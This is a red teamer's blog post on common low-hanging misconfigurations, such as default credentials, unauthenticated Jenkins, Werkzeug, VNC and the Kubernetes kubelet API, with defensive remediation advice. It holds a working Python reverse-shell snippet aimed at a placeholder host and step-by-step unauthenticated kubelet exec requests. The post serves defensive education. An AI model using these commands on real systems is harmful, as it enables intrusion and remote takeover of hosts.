Low Hanging Fruit Often Abused By Red Teams
You have heard it said that attackers will take the least path of resistance and first abuse the lowest hanging fruit when gaining a foothold in an environment. As a red teamer (and former blue teamer), I can confirm that this is often the case. A lot of times, the initial foothold in environments stem from a simple misconfiguration or lack of security hygiene in a certain area. So I wrote this post to list some of the common “low hanging fruit” often abused by attackers and red teams. I hope this post will be useful for non red team members in terms of identifying how a lack of basic security hygiene in a few areas can make life easy for an attacker. This is not meant to be a complete or fully exhausted list of all things that red teams and attackers abuse. Instead this is a brain dump of some of the common low hanging fruit that I (as a red teamer) am aware of and that I think is helpful to share. Note: there are tons of low hanging fruit items related to Active Directory misconfigurations…this article does not cover any of those. Instead these are common things that may be found in an IT or corporate environment.
Default Credentials
It goes without saying that default credentials are almost always checked by attackers and red teams. After all, why resort to an exploit when default credentials work? Web servers, databases, network devices, printers/MFPs, etc. include several vendors that use default credentials. Once logged in, the default credentials often provide administrative access which will allow full control over the application. This may include the ability to upload web shells or execute shell commands.
There are several compilations of default credentials for various vendors/products. One that is pretty neat and that will allow you to search by vendor is Passhunt:
A site where you can search for common default credentials:
http://www.defaultpassword.com/
Performing regular checks proactively for default credentials is something that internal security teams (ex: vulnerability management team, corporate security team, etc.) can do to help identify instances of default credentials before an attacker does.
Some common platforms with default credentials leveraged by attackers and red teams:
- Apache Tomcat Manager login page
- MySQL database: nmap “mysql-brute” script
- Microsoft SQL Server database: nmap “ms-sql-brute” script
- Oracle database: nmap “oracle-brute” script
- Postgres SQL database: nmap “pgsql-brute” script
- Web logins in general (weak and guessable credentials, such as admin:admin)
- Network devices (Cisco, Palo Alto, etc.)
- Dell iDrac
Unauthenticated Jenkins
Instances of unauthenticated Jenkins running on workstations and/or servers present another common attack vector that provides an easy initial foothold. In particular, the Jenkins Script console (/script page on the web server) allows Groovy script to be pasted and executed:
The attacker can use the groovy script to execute shell commands and gain unauthorized access. Some Windows hosts running Jenkins run it as SYSTEM, which means that an attacker gains full control over the system once compromised. On Linux/Mac hosts, Jenkins is typically running under the jenkins user but it is always good to check.
By default Jenkins usually runs on port 8080, though this port can be changed.
A good post demonstrating the process of compromising unauthenticated Jenkins on a Linux/Mac host is below:
Werkzeug Debug Console
Werkzeug is a python-based web utility. It includes a debug mode, which when enabled will open a console anytime an exception error is raised. This console is usually opened on a ‘/console’ page on the server. This console can be used to execute python code unauthenticated:
Werkzeug can be run on any port, though it is often run on port 8080.
The following lines can be pasted into the python console to get a reverse shell:
- import socket, subprocess, os
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- s.connect((“<IP>”,<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)
- p=subprocess.call([“/bin/sh”,”-i”])
To automate searching for unauthenticated Jenkins, Apache Tomcat Manager pages, Werkzeug Debug Console pages, and anonymous Kubernetes node exec API access, I wrote a script (Page Finder python3 Script). The script takes a target subnet range and the number of threads as inputs and then scans for ports 8080 (default for jenkins, tomcat, and werkzeug) and 10250 (default for kubernetes nodes). For each host with either of these two ports open, it puts those hosts in a list and then makes the associated web requests looking for pages that indicate a misconfiguration that can be abused. This can be used by both defensive and offensive teams. Here is a link to the Page Finder script:
Unauthenticated VNC
Sometimes, people will set up VNC servers on their laptops or servers without any authentication. This means, that once a host is discovered as running a VNC server (ports 5900, 5901), if no authentication is enabled the desktop can be viewed live remotely via a VNC client (or vncviewer in Kali). This could lead to an attacker remotely watching user activity and viewing sensitive content while someone is using the system. This could also lead to an attacker taking control of the system remotely to download and/or execute reverse shell payloads while the user is away from the machine. I have seen some instances where rarely used servers have unauthenticated VNC enabled, so the scenario of an attacker taking control of the system over VNC is very do-able without being noticed on those hosts.
Kubernetes Unauth Exec API Command
Some kubernetes instances still have a default configuration that accepts unauthenticated API commands. In this default configuration, there is an “exec” API command that can be used to execute unauthenticated shell commands. If there is a kubernetes instance that is remotely accessible (outside of localhost) and still accepts unauthenticated API commands, the following steps can be run to execute unauthenticated shell commands via the exec API command:
- list pods (GET request to: https://<kubernetes-node>:10250/pods)
- find the pod running on the node you want to target and send an exec command (POST request to: https://<kubernetes-node>:10250/exec/<namespace>/<podname>/<container-name>?command=id&input=1&output=1&tty=1")
- you will get a HTTP 302 response, showing the Location where you can run a web socket connection to in order to execute the “id” command
- run web socket connection to execute the “id” command (wscat -c “https://<kubernetes-node>:10250/<web-socket-location-path>" - -no-check)
- The results of the “id” command will be displayed
The above can be modified from “id” to perform various other shell functions, such as, running curl to pull down a malicious binary, changing permissions on the binary, and executing the binary.
This finding was reported by Alexander Urcioli in March 2018:
Unpatched Systems
This pretty much goes without saying. Attackers and red teams look to leverage attacks against unpatched systems to gain or expand a foothold in an environment. There are several remote code execution vulnerabilities that have been around for awhile and are relatively successful when the target is vulnerable (ex: MS-17–010, SambaCry CVE-2017–7494, MS08-067, etc.). The main protection against unpatched systems is a sound vulnerability management program that partners with cross-functional teams to ensure patching is done comprehensively, effectively, and in a timely manner.
Open Network Shares
Accessible network shares is another “low hanging fruit” that attackers and red teams easily abuse. The shares may be accessible via domain authenticated credentials or in rare cases may be completely open for unauthenticated access. Sometimes scripts (with credentials), configuration files, archived emails, or other valuable information can be found on unauthenticated shares which can aid an attacker in learning more about the environment or provide an attacker with additional access. Attackers can also use open network shares to host malware. The malware can be remotely executed on hosts without dropping to disk on each host via smb. These open shares are sometimes legacy tech debt created and forgotten about after initial use.
Blue teams can proactively hunt for network shares in their environment using the Invoke-ShareFinder module within PowerSploit (https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon).
Basic Web Server Misconfigurations
Outside of some common web attacks such as cross site scripting, sql injection, and cross site request forgery attacks, sometimes web servers in corporate environments have basic misconfigurations that an attacker can leverage. Examples include:
- Browsable web directories and files: The attacker can run web directory brute forcing or crawl the site to find available pages that can be viewed. Sometimes these pages will have files that an attacker can view and download unauthenticated. This may even include configuration files or other sensitive files with credentials.
- Arbitrary file uploads: Websites that have a file upload function without properly validating the uploaded files serve as another low hanging fruit that attackers can leverage. In this case, the attacker can upload a web shell, browse to the web shell to execute it, and receive a reverse shell.
- Exposed console and script pages (as noted above with unauthenticated Jenkins and the Werkzeug Debug Console).
- Default login credentials
These are all basic security hygiene items that can often be remediated with quick fixes.
Other Considerations
Some other things to proactively think about:
- SMB/SSH on Endpoints: Is there truly a need to have SMB (for Windows endpoints) or SSH (for Mac endpoints) exposed on all endpoints? Can host-based firewalls or network-based ACLs be applied to restrict SMB/SSH access to endpoints (or at least restrict access to endpoints belonging to highly privileged users)? Is there a valid need for one endpoint to access remote management ports on other endpoints? This discussion is helpful to have before an attack occurs, since a lot of Windows lateral movement techniques rely on SMB being exposed and accessible on target systems, and ssh is often the means by which Mac lateral movement occurs in the event of a shared local account being compromised and used to pivot to other Mac endpoints.
- Local Password Reuse: Local admin password reuse across endpoints (Windows) or accounts with ssh access (Casper/Mac) is another example of low hanging fruit that will allow an attacker to quickly move laterally after compromising a host that has these shared credentials. Therefore, I recommend randomizing local admin passwords across all servers and endpoints. That way, in the event that one host gets compromised and the local admin credentials are obtained, simply pivoting to another host with those same credentials will not work. This will at least help to remove this low hanging fruit, though domain accounts might still be used for lateral movement.
- 2FA: Given the prevalence of malicious emails as a relatively successful attack vector, I like to assume that endpoints can and will be compromised at some point. With that assumption in mind, it is good to have two factor authentication enforced on key authentication portals as well as on remote desktop and ssh logins on key servers/hosts. Ideally using U2F hardware two factor solutions such as yubikeys would make it difficult for an attacker to simply use stolen credentials to impersonate a user and log into systems.
- Network Segmentation: How is the network constructed? Is the network flat? Once you are on the network you can access virtually any other host in the corporate environment? Is access to remote management ports (ssh, RDP) on important servers segmented so that not just any host on the network can login with valid credentials? These are also things to consider in order to make pivoting a little more difficult for attackers. In segmented networks, attackers will often have to find a host that can be compromised that sits between the zone that the attacker is on and the zone the attacker is targeting and then tunnel traffic through that host. This takes more time than just directly pivoting over to a target server in a flat network.
Summary
Taking steps to address basic security hygiene items (such as the examples listed in this post) can go a long way with eliminating low hanging fruit for attackers and can cause attackers to spend more time and effort progressing through the attack chain once inside of your environment. More time that an attacker has to spend = more time for defenders to detect and respond. Addressing the items in this post will by no means make a network impenetrable. However, eliminating low hanging fruit in your environment is a step towards beginning to shift the scales in favor of defenders.
